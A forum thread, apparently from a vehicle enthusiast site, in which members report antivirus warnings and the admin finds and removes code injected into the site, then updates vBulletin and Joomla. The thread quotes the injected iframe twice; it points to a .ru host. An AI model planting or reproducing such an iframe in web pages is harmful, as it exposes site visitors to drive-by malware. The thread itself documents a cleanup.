www.mopar1973man.com - HACKED

[hex0rz]

Alright, so I'm starting to get warnings, alerts, blocks to the site. I have had windows defender and AVG warn me that the site is unsafe and it could potentially reveal personal or financial information. AVG gave me a 1889 number.Mike, might be time to look into this...

[flagmanruss]

I run AVG on both my computers & never had a warning on this site. I removed Defender. I'm using IE on Windows 7 machines now.

[Mopar1973Man]

Google report no malware.There is only 2 pieces of software here. vBulletin 4.2.0 and Joomla 2.5.3 which haven't changed in over 6-9 months. I'm waiting for the vBulletin 4.2.1 update before doing the up Joomla 2.5.6 update.Maybe you need to Linux there no such thing as malware over here.

[Gamble]

I received the warning today also, and then updated my mac and it didn't come back the this time.

[Mopar1973Man]

Could someone post this error and what its saying. So I can investigate it more since 2 people now see it. I personally think is a fluke and poor definitions on AVG part.If its particular URL's or pages please list them too.Here is my check.

[Gamble]

Mike,

Can you receive text with pics on the listed number? I have a picture of it to send to you.

- - - Updated - - -

Nevermind, I will get it on here.

- - - Updated - - -

Here you go. I am a member on a local site that had the same issue awhile back, I am friends with the owner of it and I will try to make contact with him to see if there was a fix or a problem for that matter.

[hex0rz]

http://forum.mopar1973man.com/attachment.php?attachmentid=4639&d=1352340870 This is from typing in the site in the URL bar. This is right at the main page of the site. Before I get redirected to the block notification, I notice what looks like a box at the top left. I dunno what is going on here...

[Mopar1973Man]

Gotta be your AVG false flagging it. Go over to http://sitecheck.sucuri.net and test yourself. My results. http://sitecheck.sucuri.net/results/forum.mopar1973man.com

[Mopar1973Man]

Ok found it... Now to route it out..

[Mopar1973Man]

Site has been hacked... :banghead: But I got the code out of it.

<iframe src="http://lemonadiom.ru:8080/forum/links/news.php"></iframe>

If you run across more let me know. I'm going to call my hosting provider. UPDATE: Nothing basically they can do they assume its a weakness in my site somewhere and need to update everything. Yes my Joomla is a few sub versions behind and the vBulletin is due for 4.2.1 as soon as its released. So hang in tight gang.. Please give me any information if you find more...

[hex0rz]

Site has been hacked... :banghead: But I got the code out of it.

<iframe src="http://lemonadiom.ru:8080/forum/links/news.php"></iframe>

If you run across more let me know. I'm going to call my hosting provider. UPDATE: Nothing basically they can do they assume its a weakness in my site somewhere and need to update everything. Yes my Joomla is a few sub versions behind and the vBulletin is due for 4.2.1 as soon as its released. So hang in tight gang.. Please give me any information if you find more...

SEE! I'm not crazy!

[Mopar1973Man]

SEE! I'm not crazy!

Ok... So I'm busted... UPDATE: Installing vB 4.2.0 Patch level 3. I think they gain entry through the Joomla and managed to hack the index.htm. But Also the article database is ringing red flags too so I assume that where the hacker managed to get in. So I'll get the update hammer into that next. I'm going to work hard and long tonight to harden the site up again. (#%&) Hackers... Grrr...

[Mopar1973Man]

UPDATE: Both vBulletin (4.2.0 PL3) and Joomla (2.5.7) are up to date as of now. articles.mopar1973man.com Joomla still reports two issues with crashing PHP files but no malware detected. http://sitecheck.sucuri.net/results/articles.mopar1973man.com forum.mopar1973man.com - Reports clean - http://sitecheck.sucuri.net/results/forum.mopar1973man.com www.mopar1973man.com - Reports Clean - http://sitecheck.sucuri.net/results/www.mopar1973man.com srrfd.mopar1973man.com - Reports Clean - http://sitecheck.sucuri.net/results/srrfd.mopar1973man.com Let me know gang... Thank you guys for reporting this. I just never thought I would be a target for hackers but I guess its time to thank my lucky stars it was mild and nothing out outrageous occurred. So I'll be putting everything else on the back burner for now and putting priority on site security and going to harden the server even more. Dang Hackers... Where is my virtual 9mm's???

[hex0rz]